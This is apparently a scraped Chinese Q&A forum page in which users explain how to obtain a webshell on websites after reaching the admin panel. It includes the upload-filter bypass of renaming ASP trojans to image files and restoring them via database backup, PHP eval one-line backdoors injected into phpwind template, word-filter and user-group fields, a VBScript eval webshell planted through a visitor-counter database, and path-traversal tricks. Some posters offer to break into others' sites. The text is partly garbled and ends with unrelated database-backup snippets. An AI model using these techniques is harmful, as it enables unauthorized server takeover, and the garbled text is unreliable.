1樓：網友
你上傳了乙個**。
你點了備份資料。
你拿到了webshell
你就是黑客了 :)
深入點就是。
你上傳了個asp小馬 結果呢伺服器發現你是壞人 不讓你上傳。
你就想辦法啊 想啊想啊 試了好多的東西 最後發現jpg格式的可以上傳。
你高興死了 然後就把你的asp馬改成jpg後輟的 你上傳上去後開啟。
奇怪了，咋不顯示 顯示了乙個叉叉 伺服器拒絕顯示 鬱悶死你了。
你又想啊想啊想啊 **不給顯示 **在資料庫裡面 你上火了。
直接把資料庫改成了 你的asp後輟了 然後你拿到webshell了 - #
2樓：網友
因為備份資料庫可以被分成php,asa,asp等任何格式。
明白了吧？想辦法，往資料庫裡面加入一些**，比如asp一句話木馬，然後把資料庫被分成asp格式，從瀏覽器瀏覽這個備份的asp資料庫，然後想怎麼幹就是你的事了。。
3樓：網友
你好：這個叫差異備份拿webshell，拿到站後臺的許可權的時候，進行上傳jpg小馬或大馬，然後找到你上傳的jpg馬或其他格式馬的路徑，進行資料庫備份。
備份檔名可以隨便填寫，但字尾必須為asp等格式。
雖然你這是15分，呵呵，我也不嫌少拉。呵呵。
做個安全檢測就可以了， 小朋友記得不要做壞事哦。
4樓：網友
上傳的時候程式只允許上傳**格式，即字尾是jpg或gif的副檔名，我們的asp馬當然不能上傳，所以我們可以把asp的字尾改成jpg或gif的，上傳成功後去備份，把jpg或gif格式的木馬還原成asp字尾的馬，這樣才可以使用。
如何備份資料庫拿webshell
5樓：匿名使用者
首先後臺必須得有資料庫備份這個功能，其實扮備原理很簡單，就是通過資料庫備份這個功能向伺服器裡面寫乙個指令碼檔案，(例如：asp,php,jsp...而內容就是"一句話"或鬧悔者是大馬。
而這個寫進去的指令碼檔案就是廳彎毀你的webshell
怎麼用mysql備份得到webshell
6樓：匿名使用者
九、phpwind論壇從後臺到webshell的三種方式。
方式1 模板法。
進入後臺， 風格模版設定，在隨便一行寫**，記住，這**必須頂著左邊行寫，**前面不可以有任何字元。
eot; eval($a);
print ＜＜eot
而後得到乙個shell為http://**/bbs/。
方始2 髒話過濾法。
進入安全管理 ◇ 不良詞語過濾。新增不良詞語寫 a』]=aa』;eval($_post[』a』])
方式3 使用者等級管理。
新建立會員組，頭銜你可以隨便寫，但是千萬不要寫單雙引號特殊符號，公升級**號寫a』;eval($_post[』a』])公升級點數依然可以隨意寫。而後得到乙個shell位址為http://**/bbs/data/bbscache/。
以上三種方式得到webshellr的密碼是a,為lanker的一句話後門服務端。
十、也可以利用**訪問計數系統記錄來獲得webshell
最明顯的就是某私服程式內的神櫻或阿江計數程式，可以通過http://****內容&screenwidth=1024直接提交，即可把**內容直接插入到計數系統的資料庫中，而此係統預設資料庫為count#.asa，我們可以通過http:
**/count%訪問得到webshell，由於阿江計數程式過濾了%和+，將最小馬改成＜script runat=server language=vbscript＞eval(request("1"))script＞替換**內容處提交，然後用lake2的eval客戶端來提交，值得一提的是如果進到計數後臺，可以清理某時某刻的資料，遊伍一旦插入asp木馬失敗，可以清理資料庫再次操作。
解決方案。由於本文涉及的**版本很多，所以不可能提供乙個完美的解決方案。有能力者可以針對本文提到的漏洞檔案進行適當修補，若漏洞檔案不影響系統使用也可刪除此檔案。
大家如果不會修補，可以到相關官方****最新補丁頌旁進行修復更新。同時也請大家能時刻關注各大安全網路釋出的最新公告，若自己發現相關漏洞也可及時通知官方**。
後記 其實，從後臺得到webshell的技巧應該還有很多的，關鍵是要看大家怎麼靈活運用、觸類旁通，希望本文的方法能起到拋磚引玉的作用。各位加油吧，讓我們將伺服器控制到底。
不能備份資料庫怎麼拿webshell?
7樓：匿名使用者
你上傳了乙個**。
你點了備份資料。
你拿到了webshell
你就是黑客了悉搏棗：)深入點就是你上傳了個asp小馬結果呢伺服器發現你是壞人不讓你上傳。
你就想辦法啊想啊想啊試了好多的東西最後發現jpg格式的可以上傳。
你高興死了然後就銀模把你的asp馬改成jpg後輟的你上傳上去後開啟。
奇怪了，咋不顯示顯示了乙個叉叉伺服器拒絕顯示鬱悶死你了。
你又想睜拆啊想啊想啊**不給顯示**在資料庫裡面你上火了。
直接把資料庫改成了你的asp後輟瞭然後你拿到webshell了--#
**後臺沒有資料庫備份怎麼拿webshell？
8樓：晴空
提供乙個思路 可以嘗試把你的小馬字尾改成乙個**的字尾傳上去，然後再想辦法把這個小馬重新命名為相應的棚歷指令碼程式字尾即可！ 以上回復均出於技術層面，本人不對由此鏈培搜回覆造成的任中猜何直接或間接影響負責！
**後臺沒有資料庫備份功能，請問高手如何完成拿到**webshell？
9樓：網友
可以用抓包的方法實現。。。原理是用抓包工具抓取資料，得到cookie和真實路徑，然後就可以用明小子上傳小馬，得到webshell了。。
建議你先找點抓包教程看看，知道了原理，看看就都明白了。。
10樓：不思飯
發你**來，方法多了，
11樓：網友
給我看看，方法是有很多的。
遇到沒有資料庫備份的後臺要怎麼拿webshell
12樓：網友
設定裡面插入一句話吧，或者找下 上傳漏洞，可以上傳**的話 找下解析漏洞。
進入後臺後備份拿webshell的問題
13樓：網友
n種方法，第一種可能是**後臺壞了， 第二種可能是你技術不過關， 找不到路徑。
這裡給你提供幾種辦法， 1。檔名/../備份2.目錄名建立。
3.檔名解析漏洞 ;
實在解決不了pm我好了。
14樓：網友
可以用其它方法，位址多少，我試試。
怎麼從oracle資料庫備份資料庫
1 首先先確認oracle伺服器上oracle中標紅的相關的服務是否已經正常啟動。2 然後要把plsql關閉，讓連線先退出一下，確保斷開資料庫的所有連線，如果資料庫中有正在連線客戶端，備份的時候可能會出現異常。3 接著開啟cmd命令提示符視窗，輸入備份資料庫的命令，xp命令的後面跟使用者名稱和密碼，...
資料庫備份檔案怎麼開啟，怎樣備份資料檔案
資料庫備份檔案是這樣的。看我這個新建個資料庫，然後資料庫點右鍵 任務 還原 資料庫在開啟頁面選擇 源裝置 然後瀏覽，然後新增，在彈出對話方塊中 檔案型別 下拉框中選擇 所有檔案 然後找到你的這個檔案，點確定，然後在 選擇還原備份集 中核取方塊勾上，然後點選左上角的 選項 然後在右邊的 還原選項 中將...
有什麼Mysql資料庫備份工具
在全球大資料暴增的趨勢下，市場上以oracle mysql為主的資料庫的資料量也越來越大。當資料呈指數增長時，資料備份時間也將隨著資料量的增長而加長，這樣就很難實現高效的資料保護。對於超大型mysql oracle資料庫的保護一直是業界的難題，尤其是如何在較短的時間內，完成資料的備份和有效性驗證。u...